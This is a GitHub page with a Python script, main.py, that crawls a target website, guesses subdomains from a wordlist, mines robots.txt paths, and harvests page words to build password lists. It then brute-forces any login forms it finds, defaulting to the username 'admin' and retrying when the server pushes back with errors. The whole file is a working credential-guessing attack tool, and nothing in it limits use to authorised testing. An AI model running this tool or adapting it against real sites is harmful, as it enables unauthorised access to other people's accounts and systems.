-
Notifications
You must be signed in to change notification settings - Fork 0
/
main.py
290 lines (238 loc) · 11.2 KB
/
main.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
from html_parser import HTMLParser
from password_generator import generate_all_passwords
from requests import get_request, get_status, post_request
from time import sleep
from url_utils import extract_url_parts, reformat_url
import argparse
import collections
import socket
SUBDOMAINS_FILE_PATH = './subdomains-100.txt'
class Node:
def __init__(self, url, depth):
self.url = url
self.depth = depth
class Counter:
def __init__(self, count, max_depth, page_max):
self.count = count
self.max_depth = max_depth
self.page_max = page_max
def add_duplicate_url(url, seen):
# If the URL has a trailing slash, add the URL without the slash to set of seen nodes
if url[-1] == '/':
seen.add(url[:-1])
# Else the URL doesn't have a trailing slash and add the URL with a slash to set of seen nodes
else:
seen.add(url + '/')
def process_node(start_url, node, header_dict, forms, keywords, seen, add_next, counter):
if counter.count >= counter.page_max:
return
# Make GET request to the current URL
html_doc = get_request(node.url, header_dict)
if html_doc is not None:
print('Depth ' + str(node.depth) + ': Processing: ' + node.url)
counter.count += 1
parser = HTMLParser(html_doc)
# Extract and add words from current page to the set of keywords
keywords |= parser.extract_words()
# If a login form is found, add it to the set
form_found = parser.detect_login_form()
if form_found:
forms.add(node.url)
# Add reachable URLs from current node if its depth < max depth
if node.depth < counter.max_depth:
# Retrieve set of URLs reachable from current node
linked_urls = parser.extract_urls()
for url in linked_urls:
# Reformat if relative url given
if 'http' not in url:
url = reformat_url(url, node.url)
if url not in seen and url.startswith(start_url):
seen.add(url)
add_duplicate_url(url, seen)
# Traversal dependent function to add next node
add_next(url)
else:
print('4xx/5xx error at: ' + node.url)
def crawl_bfs(start_url, header_dict, counter, forms, keywords, seen):
queue = collections.deque()
if counter.count >= counter.page_max:
print('\nCrawling Aborted: The maximum number of pages of ' + str(counter.page_max) + ' has been reached!')
else:
print('\nStarting Breadth-First Crawling')
print('-' * 50)
# Add start URL to the queue and set of seen URLs
start_node = Node(start_url, 0)
queue.append(start_node)
seen.add(start_node.url)
add_duplicate_url(start_node.url, seen)
# While queue is not empty
while queue:
node = queue.popleft()
add_to_queue = lambda url: queue.append(Node(url, node.depth + 1))
process_node(start_url, node, header_dict, forms, keywords, seen, add_to_queue, counter)
if counter.count >= counter.page_max:
print('\nCrawling Aborted: The maximum number of pages of ' + str(counter.page_max) + ' has been reached!')
return
def crawl_dfs(start_url, header_dict, counter, forms, keywords, seen):
""" Wrapper function to initialize first call to recursive DFS crawl function """
if counter.count >= counter.page_max:
print('\nCrawling Aborted: The maximum number of pages of ' + str(counter.page_max) + ' has been reached!')
else:
print('\nStarting Depth-First Crawling')
print('-' * 50)
start_node = Node(start_url, 0)
# Add start URL to the set of seen URLs
seen.add(start_node.url)
add_duplicate_url(start_node.url, seen)
_crawl_dfs(start_url, start_node, header_dict, forms, keywords, seen, counter)
def _crawl_dfs(start_url, node, header_dict, forms, keywords, seen, counter):
if counter.count >= counter.page_max:
print('\nCrawling Aborted: The maximum number of pages of ' + str(counter.page_max) + ' has been reached!')
return
add_to_stack = lambda url: _crawl_dfs(start_url, Node(url, node.depth + 1), header_dict, forms, keywords, seen, counter)
process_node(start_url, node, header_dict, forms, keywords, seen, add_to_stack, counter)
def read_subdomains():
with open(SUBDOMAINS_FILE_PATH, "r") as f:
return {subdomain.rstrip() for subdomain in f}
def get_subdomains(url):
subdomains = read_subdomains()
host, _, _ = extract_url_parts(url)
url_subdomain = host.split('.')[0] # Subdomain of given URL
# Check to see if the URL already has a subdomain from the list
if url_subdomain in subdomains:
host = host.replace(url_subdomain + '.', '')
return {subdomain + '.' + host for subdomain in subdomains if subdomain != url_subdomain}
def crawl_subdomains(bfs, url, header_dict, counter, forms, keywords, seen):
print('\nCrawling Subdomains')
print('-' * 50)
for subdomain in get_subdomains(url):
try:
conn = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
# Test whether subdomain exists
conn.connect((subdomain, 80))
subdomain = reformat_url(subdomain)
print('\nCrawling Subdomain: ' + subdomain)
if bfs:
crawl_bfs(subdomain, header_dict, counter, forms, keywords, seen)
else:
crawl_dfs(subdomain, header_dict, counter, forms, keywords, seen)
except socket.gaierror:
print('\nSubdomain ' + subdomain + ' was not found.')
finally:
conn.close()
def crawl_robots(bfs, url, header_dict, counter, forms, keywords, seen):
# If url doesnt end with /robots.txt or robots.txt/ then append and call, otherwise call just url
robots_url = ''
if url.endswith('robots.txt') or url.endswith('robots.txt/'):
robots_url = url
else:
if url.endswith('/'):
robots_url = url + 'robots.txt'
else:
robots_url = url + '/robots.txt'
try:
print('\nTrying robots link: {}'.format(robots_url))
textfile = get_request(robots_url, {})
except socket.gaierror:
print('\nCould not find {}'.format(robots_url))
return
split_text = textfile.split('\n')
allow_disallow = list(filter(lambda x: x.startswith('Disallow:') or x.startswith('Allow:'), split_text))
new_links = list(map(lambda x: x.split(' ')[1], allow_disallow))
appended_links = list(map(lambda x: '{}{}'.format(url, x), new_links))
for link in appended_links:
if link not in seen:
try:
if bfs:
crawl_bfs(link, header_dict, counter, forms, keywords, seen)
else:
crawl_dfs(link, header_dict, counter, forms, keywords, seen)
except socket.gaierror:
print('\nCould not find {}'.format(link))
def brute_force(user, keywords, forms, user_agent):
passwords = generate_all_passwords(keywords)
results = {}
for form in forms:
print('\nAttempting to brute-force: ' + form + '\n')
get_header = {'User-Agent': user_agent}
html_doc = get_request(form, get_header)
parser = HTMLParser(html_doc)
done = False
for password in passwords:
if not done:
login = parser.create_login_string(user, password)
post = {'User-Agent': user_agent,
'Content-Type': 'application/x-www-form-urlencoded',
'Content-Length': str(len(login))}
response = post_request(form, post, login)
if get_status(response) >= 500:
print('\nHold on, too many failed attempts! Waiting for the server to accept more login requests...\n')
# Continually retry logging in if there is a server error (too many failed attempts)
while get_status(response) >= 500:
response = post_request(form, post, login)
combination = 'User: ' + user + '\nPassword: ' + password
print('Attempting to login...\n' + combination)
if get_status(response) == 302:
print('Login Succeeded!\n')
done = True
results[form] = combination
else:
print('Login Failed...\n')
if not done:
print('Ran out of passwords! Bruteforce failed!')
results[form] = None
sleep(5) # Temporary pause between forms to see end result of the current form
# Print bruteforce results
print('Bruteforcer Results')
print('-' * 50)
for form, combination in results.items():
print('Form: ' + form)
if combination is None:
print('Bruteforce Failed')
else:
print(combination)
print()
def main():
parser = argparse.ArgumentParser(description='Arguments to proceed web-crawling')
parser.add_argument('-url', nargs=1, type=str, help='URL', required=True)
parser.add_argument('--username', nargs=1, type=str, help='Username')
parser.add_argument('--maxdepth', nargs=1, type=int, help='Max Depth to Crawl')
parser.add_argument('--maxpages', nargs=1, type=int, help='Max Pages to Crawl')
parser.add_argument('--mode', nargs=1, type=str, help='Mode of Crawling : "bfs" or "dfs"')
parser.add_argument('--useragent', nargs=1, type=str, help='User Agent')
args = parser.parse_args()
modes = [['bfs'], ['dfs']]
url = reformat_url(args.url.pop())
username = 'admin' if args.username is None else args.username.pop()
max_depth = 10 if args.maxdepth is None else args.maxdepth.pop()
max_pages = 10 if args.maxpages is None else args.maxpages.pop()
mode = args.mode.pop() if args.mode in modes else 'bfs'
if (args.useragent is not None):
user_agent = args.useragent.pop()
header_dict = {'User-Agent': user_agent}
else:
user_agent = 'N/A'
header_dict = {}
print('Initiating web crawl with following configuration')
print('Algorithm: {}, Username: {}, Max Pages: {}, Max Page Depth: {}, User Agent: {}'.format(mode, username, max_pages, max_depth, user_agent))
page_counter = Counter(0, max_depth, max_pages)
forms = set()
keywords = set()
seen = set()
if mode == 'bfs':
"""
BFS
"""
crawl_bfs(url, header_dict, page_counter, forms, keywords, seen)
crawl_subdomains(True, url, header_dict, page_counter, forms, keywords, seen)
crawl_robots(True, url, header_dict, page_counter, forms, keywords, seen)
elif mode == 'dfs':
"""
DFS
"""
crawl_dfs(url, header_dict, page_counter, forms, keywords, seen)
crawl_subdomains(False, url, header_dict, page_counter, forms, keywords, seen)
crawl_robots(False, url, header_dict, page_counter, forms, keywords, seen)
brute_force(username, keywords, forms, user_agent)
if __name__ == '__main__':
main()